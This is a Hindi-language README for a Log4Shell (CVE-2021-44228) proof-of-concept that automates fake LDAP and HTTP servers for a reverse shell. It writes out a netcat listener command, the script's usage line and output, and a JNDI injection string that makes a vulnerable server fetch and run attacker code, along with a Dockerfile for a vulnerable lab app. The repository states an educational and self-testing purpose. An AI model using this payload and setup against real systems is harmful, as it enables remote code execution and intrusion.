
CVE-2021-44228 (Log4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जिसमें स्वचालित LDAP/HTTP सर्वर सेटअप और शैक्षिक परीक्षण के लिए रिवर्स शेल पेलोड जनरेशन शामिल है।
हाल ही में पाई गई CVE-2021-44228 भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट।
हाल ही में log4j में एक नई भेद्यता पाई गई, जो एक Java लॉगिंग लाइब्रेरी है जो elasticsearch, minecraft और कई अन्य जगहों पर व्यापक रूप से उपयोग की जाती है।
इस रिपॉजिटरी में एक उदाहरण के रूप में असुरक्षित एप्लिकेशन और इसका प्रूफ-ऑफ-कॉन्सेप्ट (POC) एक्सप्लॉइट मौजूद है।
PoC के रूप में एक Python फ़ाइल है जो इस प्रक्रिया को स्वचालित करती है।
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20 होना चाहिए, और वह उसी निर्देशिका में होना चाहिए।$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
यह स्क्रिप्ट आपके लिए HTTP सर्वर और LDAP सर्वर सेटअप करेगी, और यह एक पेलोड भी बनाएगी जिसे आप असुरक्षित पैरामीटर में पेस्ट कर सकते हैं। इसके बाद, यदि सब कुछ ठीक रहा, तो आपको lport पर एक शेल मिल जाना चाहिए।
इसमें असुरक्षित वेब ऐप के साथ एक Dockerfile है। आप नीचे दिए गए चरणों का पालन करके इसका उपयोग कर सकते हैं:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
एक बार यह चलने के बाद, आप इसे localhost:8080 पर एक्सेस कर सकते हैं।
नोट: पैकेज डाउनलोड करने में सक्षम होने के लिए आपको एक खाता बनाना आवश्यक है।
आर्काइव डाउनलोड और निकाल लेने के बाद, आप jdk1.8.0_20/bin में java और कुछ संबंधित बाइनरी पा सकते हैं।
नोट: यह काम करने के लिए jdk फ़ोल्डर को इसी नाम के साथ इस रिपॉजिटरी में निकालना सुनिश्चित करें।
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
यह रिपॉजिटरी CVE-2021-44228 के लिए एक-क्लिक एक्सप्लॉइट होने के इरादे से नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है (हालाँकि इस उद्देश्य के लिए बेहतर अनुप्रयोग मौजूद हैं, जैसे: https://log4shell.tools/)।